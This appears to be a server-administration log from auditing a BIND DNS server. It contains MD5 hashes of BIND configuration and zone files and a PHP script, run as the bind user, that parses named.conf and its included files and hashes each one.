MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:36:13: Establishing a connection
2026-04-23 13:36:13: 

PUT: /tmp/pkp741172

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:36:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp741172; rm /tmp/pkp741172'

2026-04-23 13:36:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
